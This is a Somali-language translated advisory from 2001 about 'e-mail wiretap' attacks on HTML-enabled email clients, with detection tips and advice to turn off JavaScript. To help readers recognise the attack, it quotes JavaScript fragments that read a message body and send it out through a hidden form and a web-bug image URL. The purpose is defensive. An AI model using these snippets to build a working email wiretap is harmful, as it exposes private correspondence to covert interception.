DIGNIIN: Emailka
oo laxiriirsanayo lagana xadayo akhbaarta aadka
xasaasiga u ah
Tarjume: Maxamed Cali AadenMarch 9, 2001
Cilmibaaris kusaabsan isgaarsiinta casrigan oo ay samaysay qaybta
Privacy Foundation ee jaamacada Denver [University
of Denver] waxa ay dadweynaha adduunka ku baraarujinayaan sida ay khatar
u tahay in laxiriirsankaro akhbaaraadka la isku weydaarsado emailka taas oo
la akhrisankaro waraka ama akhbaarta xasaasiga ah iyada oo qofkii lahaa
uusan ka warqabin.
Cilmibaaristu waxa ay cadaysay khatarta ah in:
- Khadka emailka laxadikaro ama laxiriirsankaro, taas oo markaas la
ogaankaro halka ay akhbaartaasi kusocoto ama jidka emailka
- Marka laba shirkadood arrin ganacsi kawada xaajoonayaan iyagoo email
isudiraya, waxaa suurta gal ah in akhbaartii ay isweydaarsadeen
lagaxiriirsankaro (xadikaro) qalabka emailka uu midkood adeegsanayo,
halkaasna lagu ogaankaro akhbaartoodii oo dhan
- Email sumaysan [bugged e-mail] waxay qabankartaa akhbaarta
kumayaal email.
- Shirkado ayaaba lagayaaba in ay ku shaqaysataan arintaan
Tani waxay khatarweyn kutahay shirkadaha (iyo dadka) akhbaarta isku
dhaafsada emailka. Waxaa dhici karta in shirkad madaxeedu uu email kula
xiriiro madaxa shirkada kale oo markaas ay isweydaarsadaan akhbaar xasaasi
ah. Hadii markaas uu jiro waxa loogu yeero "e-mail wiretap" oo ah in
emailka asalka akhbaarta lagasoo diray ay ku xiriirsantahay qalab awood u
leh helida akhbaarta, markaas marwalba oo email laga diro emailka qofkii
emeilku kusaocdey, waxaa nuqul ama 'copy' emailkaas ah ay si qarsoodi ah
ugu tegeysaa emailkii asalka ahaa (ama meel loo qoondeeyey).
Sida kucad techrepublic.com,
dhibaatadan emailka la xiriirsanayo waxay sigaar ah saamayn ugu leedahay
barnaamijyada emailaada ee adeegsada HTML [HTML-enabled e-mail]
kuwaas oo weliba ogol waxa loogu yeero JavaScript oo furan, waxaana
kuwaas kamida "Microsoft Outlook, Outlook Express, iyo Netscape
Communicator 6." laakiin Eudora iyo AOL 6.0 arintaasi ma
saamayneyso, sidoo kale arintaan ma saamayneyso Yahoo iyo Hotmail,
sida ay sheegeen techrepublic.
Sidee ku ogaankartaa in
emailkaaga la xiriirsaday
Arintaan emailka la xiriirsanayo waxaa la ogaa ilaa sannadkii 1998,
markaas oo Engineer kambuyuutarada ah ee jaamacada Washington [University
of washington] uu muujiyey cillada Microsoft ee laxiriirta arintan, taas
oo aan ilaa hadda laxallin sida ay sheegeen TechRepublic.
Hadaba waxaa haboon in aad dib u jalleecdid emailadii aad dirtay ilaa
1998 iyo kuwa aad heshay, gaar ahaan kuwo leh waxa loogu yeero "Forward"
taas oo noqonkarta email kuxiriirsan qalab meelfog yaal.
Si aad u ogaatid in emailkaagu uu arintaan halis u ayahay, marka hore fur
dhambaal ama emailka, kaddibna eeg xeerka ama "source code" tan oo ay
barnaamijyada emailadu ku kalagedisanyihiin, haddii ay arintani kugu adkaato
in aad aragtid "source code" markaas fiiri qaybta "help" ee
barnaamijka aad adeegsaneysid.
Hadaba qaybta "Source Code" waxaad ka eegeysaa in uu ka qoranyahay
xeerka hoose:
"contents +
document.body.innerHTML;"
Xeerkaasi waa kan sahlaya in JavaScript ay
akhrinkarto emailkaaga. Kaddib waxaad eegtaa xeerka hoos kuqoran:
"document.hiddenForm.message.value
= contents;
document.hiddenForm.submit();"
Xeerkaana waa kan sahlaya in emailkaaga la
xiriirsankaro ama adiga oo aan ogeyn ay u dirmeyso meeshii laga hagayey.
Haddii aan Browserkaagu kuu digin, markaas akhbaartaadii waxaa lagayaabaa in
laxiriirsanayo.
Ugu dambayn fiiri xeerka hoose:
"webBug = new Image();
webBug.src = baseURL + "?message=" + escape(contents);"
Xeerkaan kore oo looyaqaan
webbug
waa kan awooda u siinaya in akhbaartii laxiriirsado iyada oo aadan ogeyna si
qarsoodi ah loo helo. Taas oo qoraalada laguteyo emailka ka dhigeysa kuwo
aan la hubin meesha ay marayaan iyo khadka ay sii marayaan in uu yahay mid
aamin ah iyo inkale.
Sidee looga hortigi karaa
in la xiriirsado emailka
Si qayb kamida dhibka arintaan loo xaliyo waa in lagadhigo
JavaScript mid xiran ama OFF. Si taas loo
sameeyeno waxaa laraacikaraa qaabka kusharaxan bogga
www.privacyfoundation.org kaas oo muujinayaa qaabka saddexda barnaamin
ee hoos ku qoran:
- Outlook 2000
- Outlook Express 5
- Netscape Messenger 6
Waxaa kale oo jira in Outlook uu leeyahay barnaamin dawo ah oo laxiira
barnaaminkaas oo laga helikaro
microsoft.com.
Laakiin sidakucad techrepublic, arintaan ah in la xiro
JavaScript [OFF] ma xallineyso dhibaatadii oo dhan, waxaana dhici
karta in haddii email loo diri qof iyada oo la adeegsanayo "forward' isla
mar ahaantaana uu qofkaasi barnaaminka uu adeegsanayaa aysan JavaScript-tigiisu
ahayn mid xiran [off] markaas dhibkii halkii ayuu marlabaad
kabilaabanayaa waayo xeerkii adeegsanayey xiriirirnta ayaa markiiba soo
labakaclaynaya.
Warbixintan oo fahfaahsan kuna qoran af Ingiriis ka
akhri
www.privacyfoundation.org
Source:
www.techrepublic.com
www.privacyfoundation.org
Ma Ogtahay in la ogaan karo Wadanka aad
joogtid marka aad Qof u dirto Email….?!!!